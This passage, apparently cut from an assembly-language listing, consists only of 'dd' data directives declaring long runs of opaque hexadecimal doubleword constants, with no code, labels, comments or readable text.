0B1FDAE14h, 567A8501h dd 0FE50EC1Bh, 0EFA186FDh, 40851691h, 19053284h, 4B372837h dd 0D4D8B12Fh, 13356DBDh, 92E42980h, 11D74BCFh, 2B0712A7h dd 0EC2D4420h, 63312777h, 0B97047C5h, 63163692h, 0EA082495h dd 0AFC01B1h, 0A696A118h, 0A7148A3h, 0A2DB683Ah, 0EF9D72A3h dd 9804B3FFh, 564854ACh, 5E7F8008h, 2D23EFA4h, 28BBD283h dd 0BDF1D6DEh, 0AFFE7DC6h, 0B82C6E3h, 8AC4BE6Fh, 74DF4A16h dd 703585F2h, 9674CF20h, 0C95C351Ch, 626C0463h, 2EB2EC93h dd 0CFB2F54Ah, 5E4420Dh, 9D624C9Ch, 87E03C01h, 0B6F4806Ah dd 6E795DF3h, 0B61C22CDh, 48675BB7h, 0B0F94D08h, 0BA38BEF3h dd 0EA5CD4Ch, 0B0BCAFBCh, 0D0345057h, 0CE25CA44h, 77040138h dd 0D5249A84h, 0AA42A316h, 0D0604CACh, 0D612E667h, 0A89D6037h dd 58486F46h, 26F8E7E7h, 4A4A3FC3h, 7195CDF7h, 4C5E094Dh dd 24937E3Ch, 9E201C34h, 1CF9EB1Ah, 957BD73Fh, 49D0596Ch dd 0F0F6A5C9h, 0D4BA8A41h, 7FED2377h, 7D27CF99h, 0CA1DA340h dd 0B814E204h, 0C648EE2Dh, 0BD151181h, 0F1366957h, 922015EFh dd 1A0CE808h, 1B0C1AEEh, 2527F625h, 832539FBh, 289F85ADh dd 9B2D09ECh, 4F4E73AEh, 9860175Fh, 41A511CFh, 0C9B964ABh dd 9633A0C7h, 0D8DC8821h, 0C9A66B81h, 828BA208h, 0C7BD4401h dd 217A5777h, 81E9DAC0h, 5246038h, 9AEC9D14h, 0E7EBA7D5h dd 0FFCD3902h, 40534E73h, 1ED3A7DFh, 5CDE0CDFh, 0A1E28C04h dd 0F55E4E92h, 0D4482765h, 27746B8Ah, 0E2872268h, 0A0FDEB98h dd 7F6D43F3h, 78247984h, 0BB0BD99h, 1F204BC6h, 944A23D7h dd 67742D98h, 0E79B7C6Dh, 12AAB52h, 0C07D9C81h, 0D70A6CBAh dd 0E922446Dh, 67E1FB78h, 1442F7EAh, 0A19D4DC3h, 4318CE72h dd 0D9C286EDh, 628F9495h, 218F37BDh, 2A92DA10h, 783496CFh dd 512403FBh, 0A57A9D12h, 0D5E39D2Ah, 72974EC0h, 8085C842h dd 60A57281h, 0DB6CC6A7h, 2D9AAFC6h, 0FF2D422Fh, 0AF7EA1CCh dd 52A2F9A8h, 77646012h, 0A330A79Dh, 0B258793Ch, 0D7C30967h dd 0F2F43880h, 0B3C3592Bh, 177292ABh, 9080BCEh, 9B4E6573h dd 0D3B328B6h, 0DF76EF48h, 0C22EDF00h, 9AB9D59Ah, 0DE2CE454h dd 5FE54EA8h, 0E1F1D036h, 1C1F79A1h, 784FE351h, 629A9D84h dd 0C6B48E53h, 3EB66D68h, 9F635A02h, 58C15154h, 0C7BA601Dh dd 95DE1628h, 437795F3h, 6EFF1000h, 370158F2h, 0DA2CF422h dd 523B5D1Bh, 0FA011F6Bh, 7E2F9073h, 390B90D8h, 333C012Ah dd 79EB54B3h, 1CA33456h, 9459F28h, 0FD93C9D7h, 877DBF17h dd 25267DFFh, 9255AEB1h, 429B9D72h, 5DA9F758h, 267CFDE7h dd 9F2295CDh, 5EDBB0B5h, 0A38BAA2h, 7EC22DE6h, 5FD534ECh dd 1D7A511h, 508CEB10h, 9F49A737h, 1D207C31h, 0F730840Dh dd 6A26FEBCh, 9BD98C01h, 0D0B2F7EEh, 7D5A6577h, 856423A3h dd 95F5F7ACh, 433D9063h, 9472264Eh, 0DF76FED9h, 542DA383h dd 6B7BF3h, 37597E96h, 13C58290h, 1101C502h, 2BC43F25h dd 0BA1B4DBAh, 0B6A6CD3h, 0F3564D3Ch, 36C3D5BBh, 2EB80548h dd 34E5AC54h, 0A662AC83h, 36333F36h, 981BBB0Bh, 695ABF31h dd 4E932BC0h, 9F2B8DEAh, 3CE7FEFDh, 0D1B9E77Bh, 5A7670AAh dd 8F0E8F26h, 32803898h, 7B544602h, 0EE4C6239h, 0F756F8F6h dd 7654B33Ch, 1D0B1FC4h, 0AF19AD3Ch, 0B31E39A3h, 7524B573h dd 1A6F5737h, 8C548020h, 0BF9C58B2h, 4B3AC342h, 42A764DDh dd 78C6989Bh, 6838021Ah, 121F37F7h, 0D6E9DF5h, 9559627Fh dd 627B4E83h, 9CAFEB81h, 17A68C67h, 0B9A99277h, 8C2DA0Ch dd 41BF8100h, 0BC8D3F26h, 0E0397946h, 2FA002D7h, 0FF18C14Bh dd 932A072Fh, 6D0F4722h dd 819147FBh, 0BF597DB3h, 8017857h, 0AEC8D0FFh, 0C2E60871h dd 3F9DB26Fh, 129BB8C1h, 0D6D02AB2h, 73F46A61h, 6FE0C28Fh dd 927F8FD0h, 9AADACBAh, 99F68C91h, 50D66183h, 1E1C3293h dd 485578B1h, 0BB2E1C3Bh, 77685990h, 1430B954h, 0FA2FCCE1h dd 0E3C3835Ch, 52E7A17h, 74358754h, 0E3DD3EDCh, 0C659A32Eh dd 0F0BBF3BCh, 2E3903B9h, 0A2BCD386h, 47E0747Ch, 19AC1D33h dd 33A5D267h, 0CF008CDBh, 0EF93F0DBh, 556515A2h, 0CFFBD2FCh dd 0F6E5EB91h, 6E2F987Bh, 6F3CB887h, 589FC8F7h, 0AF6A0D8Dh dd 4E82641Ch, 0FC15D988h, 0E6D6A14Ah, 4B257026h, 5DD6097Eh dd 8EAB8E85h, 0FE68FA9Dh, 53B40CF0h, 0E2276988h, 5A26CDBEh dd 45BEBB1Dh, 21175194h, 69B005C1h, 4E262510h, 69CDAA1Ah dd 0EBFC869Ch, 0B26C3E60h, 0D4D27E63h, 3A1CD466h, 0E720EBDCh dd 99C6B446h, 0A8C1DD4Dh, 60987FAh, 0AE00C29Fh, 2DBB4DCAh dd 5C404313h, 96B3C084h, 46E7A233h, 96EC8370h, 0ACF1B603h dd 63B8E096h, 991FDFF1h, 6C996649h, 97443A4Eh, 55D7FB13h dd 0D510D333h, 0E2826066h, 9CFE4E27h, 6A886ACDh, 0AFD7EEACh dd 73CCCD76h, 0EFE8D901h, 64F86CC5h, 618FF677h, 0E989AED7h dd 392D3676h, 7F48279Ch, 87981B6Fh, 888A9439h, 87340C46h dd 877E8D5h, 904BC567h, 9AEAB22h, 0F8067497h, 89B4F04Bh dd 7BD52B81h, 532C0806h, 1F85D10h, 0A2475A65h, 0B2D50370h dd 5A2AACA9h, 790F431Bh, 864D626Eh, 0F53CED8Dh, 0F762D600h dd 0F55E2D12h, 2D65BF66h, 8124FEA9h, 854EE02Dh, 0A581F614h dd 53B28831h, 0C2CA81A4h, 7B6366FDh, 0DA83EF4Ch, 608E76E2h dd 0E6A321A4h, 0C57A085Ah, 0F8ED096Bh, 0F9F75AD2h, 0A1E99483h dd 2A67DFC7h, 0A9439C4Ch, 36E37F75h, 0AC147CC6h, 3284FF2Bh dd 0FFDD7D0Dh, 8B18D4BEh, 78B916B4h, 4BB533C4h, 0DD33CA6Ah dd 9C7EFE71h, 377B0A48h, 0FF624D78h, 44D67F37h, 0A6E61D51h dd 6AB38ED1h, 42F2A077h, 87E8D83h, 14053475h, 0DEA13C26h dd 1D5AE900h, 7BEF5942h, 5AC8A4B7h, 0F51C8E1Ah, 6CAD0F07h dd 0CB317821h, 0BED9FB71h, 1ECB0B79h, 0ADF2C411h, 95EE5D94h dd 3E812AC2h, 5B4C460Bh, 0A077E655h, 7023E53Ah, 2661C46Ch dd 0CDE05CEh, 5B4101B2h, 0D856BEB0h, 62F5C4F2h, 0A2AD2AC3h dd 1E4C9A40h, 55629192h, 204F99B7h, 4517AC69h, 92BBC70Eh dd 1D947E14h, 0A94C7742h, 51911C10h, 66CF0BA9h, 7886811Bh dd 0A30ECE9h, 8B7ACE2h, 548F22DBh, 132A578Ah, 0F996D233h dd 0F62A05AAh, 0EEF88F68h, 0DD0B92A9h, 0B3952FCFh, 17B9D5C2h dd 4528239Eh, 0F964F494h, 80F8F162h, 0FCD34889h, 14D793EEh dd 12A4C427h, 0C9850597h, 6A7C54F6h, 6B9B208Eh, 90D513E2h dd 9ED32051h, 0C88AEBD6h, 183B4EE2h, 8256F03Ch, 19FA57CDh dd 3395496Bh, 2BE59E7Bh, 7E640EF6h, 5B0AC3B5h, 3DA01022h dd 0B109E01Bh, 451DBCF5h, 7ED4E4Dh, 2F140C8h, 8C470D06h dd 0ACEC3C59h, 0E4121CE1h, 9B7A4842h, 0C94E7B3Ch, 33888F14h dd 0F88B1C9Eh, 5BCA6259h, 45452615h, 8652AF91h, 41D22F9Dh dd 172832D9h, 5ABEA72Ch, 420AD9EEh, 230962BEh, 47772A16h dd 54FF11CAh, 0D4F661F0h, 98BD3C88h, 75655B7Bh, 0E0F3F729h dd 3EEDCD33h, 0DDB4C56Dh, 0A6BD4DAh, 7401BC90h, 9C5D48CEh dd 601E616Bh, 0A09DE57h, 2EE9C1FEh, 0CFD4A2D2h, 6ED23B99h dd 96A440ECh, 5DDF4697h, 0EB4F6482h, 0C43C7CCFh, 67E1FA07h dd 28898AB6h, 0A062F262h, 11EAA7F3h, 20BC56DCh, 8E1DFA95h dd 0EB3E2E87h, 0AE89E7D0h, 0C7554A37h, 8DB2C171h, 0D42B0DF2h dd 66BF5901h, 31664851h, 3A79AD41h, 9C850BEBh, 0E62ED69Bh dd 1628760Fh, 0E1185060h, 93E31F07h, 0F1E7A87Ah, 7C1D5713h dd 0C3BD4C67h, 1E5B8A68h, 4E6398E8h, 49763C16h, 0BBEBE57Dh dd 0F3DBF582h, 0C197B45h, 6A44C490h, 0BCE49C6h, 406C5A86h dd 0C476D9CEh, 85C4140Eh, 0EEA3ED41h, 5A32BD53h, 6E2B177Dh dd 0E69712FCh, 9B46678Fh, 226D05CFh, 8EDD0ED0h, 4340506Bh dd 0D66A29B5h, 0C2ABE767h, 0F6F439F2h, 44797D2Ah, 700771C2h dd 90ECB685h, 0BC2162h, 6CB778DBh, 0F2DB67DBh, 90001190h dd 9D303229h, 462699Eh, 0E2766F19h, 0C442094h, 6D6D935Ah dd 0F578C57Eh, 0B7CF6011h, 3F58B77Bh, 90B8DA5Dh, 10B7CF85h dd 0DE4189DCh, 0CBCCD999h, 5B880B71h, 8334519h, 0F27BEAE5h dd 1A3AD6D6h, 9C0E1CB1h, 9746EF99h, 1C11890Bh, 9E85CFECh dd 0B1CDED20h, 74045065h, 0F95BE179h, 0B95240D5h, 7E5E6FB6h dd 0D9BE0975h, 21533A45h, 4F19D793h, 7658469Fh, 9BCA32C7h dd 0E876D1A6h, 30630683h, 0AF23D143h, 2EC9564Fh, 490A4A51h dd 594A7641h, 4FF82659h, 6590FAE1h, 81E2EC33h, 0D4FDEB12h dd 5D880C14h, 73465711h, 0C3FDA20Dh, 0C6433ADEh, 8F6C56FFh dd 5B227A9Ch, 7D06AB37h, 9BA0F369h, 3FDB1653h, 9285EBD1h dd 0DAFB424Fh, 0C4007CAEh, 0B2827629h, 0A3E8B892h, 0F3F1A4EFh dd 504F6AF5h, 0F9970ED3h, 0AD625E94h, 0B2CA363Fh, 3AA6177h dd 816928F8h, 71BDA9FBh, 0D0857A2Ah, 4D6E3AC7h, 18EAB4C6h dd 749C8690h, 3B21CAABh, 8A918EE2h, 2B0EDDDBh, 0EE75C819h dd 602ED5E7h, 96A3BCCCh, 20CCA4DAh, 0E58625F5h, 7FF9E5E3h dd 0FC6ED981h, 0A79DCB54h, 8AB32557h, 0A59EF10Fh, 2E6FB496h dd 8340FBB8h, 0F43CFDF0h, 1170719Fh, 3461FFF9h, 0B230774Bh dd 57BF788Eh, 85E5F078h, 8091FBD0h, 0F1AA3618h, 629E82E9h dd 668C325Eh, 5D61C24Bh, 29A78D5Eh, 694DEBFh, 0D8B9868Eh dd 0B72F5125h, 862D3FB7h, 0BA5D5DD7h, 309500EEh, 6D14CD5h dd 84D63263h, 0D1615649h, 8F9968B8h, 0E258A80Fh, 0B4313266h dd 0EE74EC20h, 0CA8DA9EDh, 9A3F93FDh, 0CD82402Bh, 0D7A46FE0h dd 0A8117107h, 0BC583981h, 77A8341Dh, 49089CEBh, 0C7FB2D19h dd 0D63A44D0h, 3D44233Fh, 0E4892D4Ch, 0FE48C643h, 89CF7DE0h dd 2311F8E9h, 0A04824B0h, 0B7F81FB9h, 60FB0760h, 0A57A7D72h dd 253D501Ch, 0CDF7E86Fh, 0F85B24B3h, 0E9804211h, 5C22956Eh dd 6907D1CDh, 0CFDD52B9h, 90736DEFh, 18F87DF0h, 0B63E7082h dd 50F86B19h, 79531AF2h, 1913F72h, 98CD8744h, 3C13A328h dd 71A09E6Dh, 0A87EB2BDh, 216D578Fh, 28E36E93h, 45B90BD6h dd 4669D779h, 0BA341985h, 0EBF4B7FDh, 3F055FD6h, 654AED0Bh dd 6B57B58Fh, 0D4E96584h, 7FEA311Fh, 0A3985942h, 0C17A3B9h dd 0E9C0AEADh, 732842E0h, 0CB9A5443h, 0AD53F570h, 61F222B6h dd 765FF96Bh, 90D48AC9h, 0C6346B5h, 0D9F00830h, 4B183EDAh dd 40BF757Ch, 0D8C6E339h, 2FC259F5h, 49B19F13h, 3862C99Eh dd 8C9F740Fh, 0E14AD954h, 2E97EFBEh, 0F86B4CB4h, 5F15B07h dd 30D8A82Fh, 0B5A99BA8h, 0F3722BD2h, 8FD46640h, 0AB30216Bh dd 0FBAE0916h, 7931931Ah, 5573C65h, 7C140834h, 0F829AD1Bh dd 0C8A7FA96h, 0F76FAA2h, 0C5DA1D07h, 0E583EFE1h, 5C17B1BBh dd 0E9E736F0h, 0AD7950h, 10509E38h, 739BEB49h, 0B6E8EC6Ah dd 693DF5BFh, 2D699EF2h, 0AC85E54h, 2EA371A3h, 8A60FF58h dd 0ED9103AFh, 8D3ADFA1h, 0F2742FE4h, 6C204EEFh, 41DD6215h dd 0D950E07Bh, 0C2C5D42Eh, 7BB1ED72h, 0CC91B31Dh, 0EF9DF5F4h dd 8D7CD548h, 0EECA8D93h, 81901E59h, 0DFDB2688h, 0FB054514h dd 266880EEh, 3E3A7773h, 2DE341BDh, 0FE9D016Fh, 0E43D5248h dd 0DFFC3F29h, 0DE85ADBh dd 49745395h, 0B9BBA3C4h, 204E1A1Eh, 8E9D2592h, 42B4F7Bh dd 81FDD867h, 28BEF68Ah, 366085D6h, 83161BE6h, 29599Fh dd 9B504976h, 0BEA840BCh, 0B10E1002h, 2E5BD58Dh, 0E26A627h dd 0B7ADEC29h, 87D0A00Bh, 0F6622971h, 9735121Bh, 0ECA6BA5Ah dd 263FFCDEh, 96795BC4h, 503B6D3Bh, 8A020243h, 8A1D525h dd 2104F9Ah, 0F0739F6h, 0D2B3446Dh, 97A03BC9h, 55BD467Ch dd 9538657Fh, 0AC668169h, 87EFEE57h, 3237CA31h, 0CFA4E38Ah dd 520F61F3h, 85C52BB0h, 0AE8C22CDh, 88BEBAB6h, 1F7E0BF1h dd 35735105h, 1B493D3Dh, 47D3E55Eh, 93073D48h, 0CD0A3AA3h dd 0D2FC051Ah, 5A11E661h, 2881B9B5h, 0A363B45Dh, 36F08388h dd 83668A9Fh, 87868E37h, 1F1FE9FCh, 0A612B0h, 60CFFBE2h dd 24C6B584h, 7D5A420Ch, 17D0C5D8h, 0C9860A9Fh, 5C4461A5h dd 0CF618BCBh, 331F43Bh, 22AF2039h, 9FA0B55Ah, 0E94FDC5Ah dd 21B54A67h, 41FBDFEDh, 20A7AB67h, 7894C5F0h, 0F3E4EC1Fh dd 5E731026h, 86E93A5Eh, 0AD85A1FAh, 5F14DAC9h, 88B4255Fh dd 0CDEFF33Eh, 0F721D9A9h, 7C8D346Ch, 0EE8726F8h, 0A0E05206h dd 4CA3CEA2h, 0EC8501E7h, 0E897A218h, 0FFB4FDEh, 9640BBDEh dd 63C9EE53h, 0B94C72DEh, 603D3791h, 449C3228h, 1C25DBDFh dd 80F1E78Ah, 0E706BED7h, 7B023225h, 4FC5A584h, 162FD219h dd 0C3A63A01h, 23D3A775h, 301FF2A2h, 48354881h, 7B0BC76Ch dd 64013894h, 928FD1E8h, 7329530Fh, 93D7B864h, 16779DEDh dd 59FB2620h, 5FB1AFDDh, 73EB58F6h, 18966ACAh, 0B3C94EBFh dd 75B40D17h, 0A2285E0Dh, 907B0B42h, 0BB93A713h, 177986E5h dd 61FB7EE6h, 72106F5Bh, 0E0953B39h, 5D5C298Eh, 2A449BB0h dd 0CE40C73Fh, 27C895A8h, 0F66A2EDBh, 88929982h, 2C726763h dd 43078087h, 26152A3Bh, 0BA61D5E6h, 105A3383h, 6D35BE03h dd 97540277h, 0F19FDD32h, 0D08634DDh, 91A4E4A9h, 9AE2EAABh dd 0D6C3EC10h, 421B85BDh, 0D84EB856h, 3544A47h, 1D65176h dd 66EFCD47h, 0F01D565Dh, 0F81FA193h, 0D71D78ACh, 0B6A1AA4h dd 500E90Ch, 1B5F56E2h, 0D69DF5DDh, 66ABEDB8h, 0F98E1DA4h dd 1CA2F6E8h, 871644EBh, 14B56341h, 0AB0B47D3h, 3DE959CCh dd 0B27811EAh, 19AF9756h, 0C5BD51DBh, 0E760FBA5h, 0E549E9CBh dd 0ED9B7FDAh, 65E67BAEh, 4833FC75h, 250705Fh, 0D4A33C31h dd 8B312331h, 0D6C2EBDh, 963C0F3Ah, 2117FFD6h, 46EE7625h dd 0DA505D35h, 0CFD36C90h, 1A2EF77Dh, 0CE296F8Bh, 1E59CE73h dd 2D21DBC0h, 9DE2EFAFh, 0B2E860F3h, 0CEC1B7Fh, 0F434EBC3h dd 7B96D2DBh, 0FE86637Eh, 26CAB74Bh, 0E12D60C8h, 5FBE31F0h dd 8F25C2ADh, 0A4C63769h, 12B0BBE9h, 15FAB1FBh, 0A5CA1399h dd 0DB055846h, 3428838h, 0CC0A1148h, 0CB28AC74h, 7E0E54D7h dd 791143A9h, 1DD1C5BEh, 36C9D7C5h, 0C4A592E8h, 87C77DC4h dd 2B48E322h, 3C9EB4A1h, 0D12746CFh, 30A2B24Bh, 524FA2F9h dd 0F0213ED7h, 0AEE02979h, 0D2EBFF4Eh, 6A6C125Ch, 0C7A4AC3Ah dd 0CB43BD44h, 0E018EADCh, 0BAAC8179h, 0E87F0F88h, 741C4C2Ah dd 284D0D11h, 8B4C582Bh, 60DABEA7h, 0CC8EB1Eh, 25A7B522h dd 0BC832500h, 397A519Ch, 5A370286h, 6A47499h, 4A3117B8h dd 43EF9B6h, 45509332h, 0B7551549h, 9F340BBBh, 9EAB3601h dd 3ECBDE1Fh, 4713664Dh, 0C48B8A44h, 40CB3872h, 43C6FF29h dd 447B2412h, 15E79D24h, 0F37D9679h, 0BD1014AAh, 2BCADC1h dd 8034D7B5h, 774B1ECAh, 80EFA0E4h, 0CC0FB780h, 661F8063h dd 0A5980177h, 2864F548h, 87EB392Eh, 5FA00635h, 54172B5Bh dd 0D3F1B0C8h, 86C35CEh, 0F0C2B2D6h, 0A30EF3AEh, 0E94C585Ah dd 1EC1E91h, 4BA2CF37h, 89631A31h, 6EE6428Bh, 45A55D8Dh dd 0EDD03D98h, 5E9445D9h, 0F29D018h, 1B45A086h, 94CE80Ah dd 338E4079h, 0A41D61A4h, 0C0E2EC3Eh, 29B9A55h, 16E88910h dd 683C62ECh, 17C5CC53h, 0D3DE2F7Ch, 0CE0F968Fh, 19CC259Eh dd 5AE4C513h, 0ED88976Dh, 0B2630390h, 3FE94651h, 0A7DB0598h dd 0A8D52F08h, 3984A44Ah, 97C896D3h, 2D758371h, 9180CA47h dd 8CF09346h, 6BC4B402h, 0B12900C3h, 0B69B6640h, 0E02F749Fh dd 55A162B7h, 4197D5D0h, 81FEB799h, 5244815Ch, 0E6BAC7F4h dd 0CEF5DC60h, 40DAB427h, 1E3F6219h, 0D315F0ACh, 2A22BF3Ch dd 0EA402DD2h, 2406A80Dh, 17BDB746h, 8609D253h, 7715B86h dd 5EEE065Bh, 1D06E1B9h, 6A9C1CB1h, 4DBDF558h, 0F0712C56h dd 0E0FDFC2Ch, 207D26EFh, 8BB731A5h, 418B5359h, 0A684A96h dd 9A6F80ACh, 0F6042830h, 3D654A85h, 33759FBDh, 417D8489h dd 3D3252B7h, 61E8C1E8h, 8685AB7Bh, 0EFF2C17Ch, 30C6445Eh dd 19F61F56h, 2FE7D379h, 2E34DC86h, 0A4092AB9h, 0D46FB489h dd 6B74D7C0h, 0EAAD0B5Ah, 34A05DDCh, 24534A68h, 61181DD1h dd 69F49244h, 280F037Eh, 38055C60h, 8066D01h, 59468C1Bh dd 0ADFFA129h, 32788CA0h, 0AFC949B6h, 3EA427EEh, 0BCF2E294h dd 74B7909Ah, 0C627D9E1h, 90A62B0Eh, 11C37C0Fh, 0CC9D9541h dd 0BB2A220Ah, 8C9F4B4Eh, 8D74E577h, 0F6B06938h, 0AF402B90h dd 3CD158D0h, 27ADAE08h, 2CC9D31Eh, 0AB306FE3h, 6BD7A082h dd 0B6813CC3h, 0C7362C8Fh, 5A15E6D4h, 0DFE039Eh, 5F734499h dd 0F4D5C371h, 5693F003h, 0A293A4E9h, 90E39B74h, 39360E53h dd 2C678180h, 0BC9BE9h, 0FCB13A06h, 30D683EAh, 6705848Ah dd 0F8ED2C68h, 2815C7A8h, 3186E97Eh, 75083582h, 831EE3FCh dd 915530B0h, 0B8C2FBEh, 3170B2E2h, 2A3CB546h, 0E86A30C7h dd 0BD38FCA4h, 0F2DD3FAFh, 0F5C328A4h, 139BD5Fh, 427A6DC2h dd 0A90421F7h, 642CE49Dh, 476B0133h, 87A7C4ADh, 80FF38A7h dd 93AA65CCh, 0FA377AA0h, 0E30AE8E3h, 2F166A5h, 0BF653B4h dd 71D09D9Eh, 530F0444h, 3493B97Ah, 15548B3Ch, 9CE1F2DBh dd 84D51EB3h, 2328A22Eh, 0D42ADFE8h, 51E39F58h, 48A3E17Bh dd 0B4E0D333h, 0FA8BAC51h, 0E65E63F1h, 0FC00F957h, 17B12834h dd 0AAC3C4EFh, 6B039DACh, 0E693EACAh, 4DBF4236h, 0E8BF709Dh dd 0CC3331FDh, 0D3F25C94h, 6CA88A0Bh, 0E84BFB95h, 0B9B6B0AFh dd 0F9112871h, 6F29F75Eh, 0B7C36B07h, 0B7CF94C8h, 1FCDF0C9h dd 46804429h, 45B2E11Bh, 0C28ECE2Bh, 0E7E91317h, 0A5EAB8A4h dd 9067D851h, 1B7171FAh, 3318B918h, 0CD27C563h, 0CCDAFF98h dd 4155B3C3h, 0AEC24CBEh, 30D83EAEh, 1E22CFE3h, 831F8FDBh dd 6F20C4D0h, 0E139BA0Dh, 344012A6h, 77D924E1h, 66999F12h dd 50F3EEF0h, 4EDB632Bh, 64B6C8F6h, 28BA457h, 0E2DCC9DFh dd 539334B1h, 0B04FDCA0h, 0A3DF3A62h, 954E2E5Dh, 7FDC66A1h dd 2AAC6499h, 95168A38h, 54F7406Bh, 90AAD291h, 0AC68F649h dd 5CE50A4Ah, 6D9CA742h, 0D230D902h, 6442184h, 8BD67428h dd 4BB654CEh, 6D710C4Ah, 0E73746B2h, 7A6E3BD1h, 4A69CD58h dd 7524C88Eh, 289045D0h, 1B11AA92h, 7C112E56h, 5EE0FA2h dd 35E27CD5h, 0E0974DEDh, 57E132DEh, 0BACA398h, 2C6F03D7h dd 0E0B05CF5h, 0FE3F45CEh, 0B4140E6Fh, 0EB822E79h, 0E5060E32h dd 5CE09629h, 67A49E83h, 7B2208CFh, 0BDE67EE9h, 45C7CA6Eh dd 9C831CB2h, 5AA1646Ch, 0B909147Bh, 5A12461Ch, 0D39D614h dd 2DE4F02Ah, 930FBAE5h, 93F5149Bh, 0E4318030h, 19A4B1F9h dd 341E31C1h, 377B0D68h, 0F8FF11E1h, 9E8042B4h, 234596B4h dd 50A19F44h, 0EED494A0h dd 1299DA1Ch, 0E6CA7296h, 2CB91CFCh, 421F1457h, 0EEE55BB1h dd 79EECA57h, 7B6BA584h, 0E4B31068h, 9C22F000h, 0CC1F1358h dd 0E01F0F45h, 912FCA12h, 0AF3CC205h, 0C007B128h, 0DE66A018h dd 3CB591B5h, 8790A001h, 8DE3E5BBh, 3E2C334Eh, 896BA475h dd 7F3C60A3h, 62AC72BEh, 0B2423748h, 0B0602975h, 0EF642191h dd 0C1C5CAA1h, 799C30D6h, 31FDB259h, 4250B0A4h, 0D580CE96h dd 0B85B3CA3h, 64405D88h, 3559D849h, 43400091h, 45A4D29Dh dd 65B7144Fh, 71958FD5h, 2635DE29h, 3E80C614h, 0B4EE7536h dd 0EE6969FBh, 0D085D067h, 92D73080h, 0C1B9EF34h, 58D30116h dd 2B4B26D1h, 0B1F36BD1h, 32D35AB0h, 1608C7Eh, 0E1DBB22Dh dd 53951AA4h, 0D29FF121h, 4A3689ADh, 33972BCFh, 0A933338Ch dd 0AE3BE804h, 64F9BD08h, 0C6F70EB9h, 9EC32315h, 0B98CA4EEh dd 50C299C5h, 3592CD6Ah, 4AB2526h, 9A996F2h, 0E1D742E3h dd 55E6752Bh, 80403D2Ah, 5F6CA83Fh, 8465F417h, 0BB5D0C5Ch dd 0F6FEEF9Eh, 3D334F7Ah, 0B560B42Ch, 1821EC69h, 44482675h dd 0A6DCE9CAh, 0F497D7BEh, 0B2BAE13Ch, 811411BBh, 5A464E0Ah dd 7FB6FA55h, 14751AF9h, 9EFCB348h, 6713A9ECh, 4DF881Bh dd 23F186ADh, 0F244FECh, 0CD94225Ah, 82993ECFh, 0DE0DDA3Fh dd 0A28C1564h, 92AD6E3Dh, 1381FCBBh, 2FD6A08Dh, 933ABDBBh dd 0DA5B543Ch, 73402E3Fh, 0C9BD90E8h, 0D48FD3AEh, 28C12C1h dd 1EE49F67h, 0B430FBF7h, 23F0E39Eh, 0B2CF1E7Bh, 84327417h dd 7EA15760h, 54454B8Ah, 8C98685Fh, 0BD168DB4h, 0F4FE1DCEh dd 0C48268AFh, 0BBCD663Fh, 0E3A57317h, 43F65432h, 217991E7h dd 0EA2C0E09h, 0ED9CBAAEh, 0F1D738B1h, 8F106381h, 2F3634BBh dd 2A80F6E8h, 5503FBE4h, 468BE24h, 82123AAFh, 0B0DBF6F8h dd 561B9649h, 0CE20014Ah, 0C36FFF1Ah, 0EC8600D7h, 4F162968h dd 0EAC20358h, 0BE4F4C3h, 2B09BE31h, 7C342889h, 6071DB68h dd 0ED907EC4h, 174D96D1h, 49B15E86h, 0C375D44Bh, 0B79A1F81h dd 641DF083h, 4F4D4A08h, 156B088Ch, 5687EE47h, 9A139956h dd 2B35BABEh, 0F5147728h, 0A489D136h, 840D8D7Ah, 0C6D53515h dd 131FE14Bh, 0CC027170h, 0F9ADD432h, 52DB0B27h, 0A873439Fh dd 6BAD1964h, 632FF298h, 2A068B97h, 657BDC87h, 0D6198FB0h dd 0B7AA67Ah, 0A14BF84Fh, 886391B6h, 84E617A0h, 0D383CBB8h dd 95B86502h, 41B255EAh, 1BD07FCDh, 9CF5D158h, 746A2176h dd 0ED0D406Eh, 0AC1B8D22h, 0DAD53FFBh, 0CB03D6E1h, 557FBE3Bh dd 0BFCC4D89h, 3AFCF173h, 0D645A461h, 3C2E4EB8h, 0BAA9B4FDh dd 0B0CB4CE5h, 0EA9E1923h, 0BB3B1CDBh, 0D73C7F0Dh, 49501917h dd 1A9B3D3Ah, 0AD5FE6F1h, 129C8183h, 8D9A763Bh, 5EB0E538h dd 0FC0703C4h, 66CEDE01h, 5AC12E49h, 0F96DC4E4h, 998BAFE2h dd 65903D69h, 61E34F4Ah, 78C3872Ch, 0CCFA8F82h, 0FDA0A15Dh dd 5918F91Bh, 859A403Bh, 1EB49436h, 65C97457h, 99F92F34h dd 14FF6E36h, 0CFEC37Dh, 8677AF32h, 6CD33E41h, 36F81E2Ah dd 8CF4E0AEh, 0F0971DEh, 0BCF2ABB7h, 0B48AC03h, 0DFF481ADh dd 0B122983h, 2446BE07h, 0B6C2EE16h, 0FA4B2409h, 65A66E15h dd 5207E7C9h, 0B14F4F2Ch, 2E61737Ah, 3CD99C65h, 5F879FB7h dd 2E02717Bh, 0E5F0A2Fh, 0DC4DD43h, 72B9FE29h, 0DD91E29Ah dd 2F35E42Ah, 0BFD37A35h, 44B3660h, 74ACE646h, 0B195551Eh dd 5E1AB4ACh, 0E01D0C5Ch, 88822CCEh, 3190E9C9h, 85B6FD43h dd 312A5966h, 0A311DC96h, 5E1B60Fh, 745BD496h, 39311FC2h dd 9ACEA07h, 0A4C17706h, 8A8046E6h, 462815A5h, 20C7A127h dd 785EF22Dh, 0BC4AE1DBh, 0F108AEh, 179DD886h, 7E05F7B9h dd 0E5174068h, 0E848CC51h, 57110DF7h, 3C2BCEDAh, 196FA8D4h dd 25B1B5A1h, 9A656EA8h, 0ED5435B8h, 0B71627ADh, 0BCAEA935h dd 14723842h, 3B4A6A79h, 4C28F9DFh, 0E8741EFEh, 4602E117h dd 301B685Ah, 0DC37CCF0h, 6327AE31h, 4825F69Bh, 126B029Ah dd 6B53AA64h, 67E04B84h, 0A30F688Eh, 339CD70Bh, 313E4BFBh dd 0E09FE7DCh, 32060F66h, 0A4536E70h, 2A38A7BEh, 9FA0B194h dd 0AEC62F8Dh, 83FB425Fh, 0F9FA83C9h, 0E92FE4B2h, 0E646E080h dd 8B8D6046h, 1306A932h, 0D264C9DCh, 0AD247F5Ch, 7EB22179h dd 0A6BC74ABh, 0E0EEFE08h, 0BAC92925h, 0B95B3662h, 0B1CBDFEBh dd 0CCBA87B5h, 0CD6AF5C1h, 0EEF4CD5Dh, 0A06F6C37h, 0B91903FBh dd 6CC6D321h, 0E8D7707Ch, 1198E40Fh, 5EAFD01Ch, 26703C60h dd 0B4D30E8Bh, 2C7CB86Ch, 0C0199A73h, 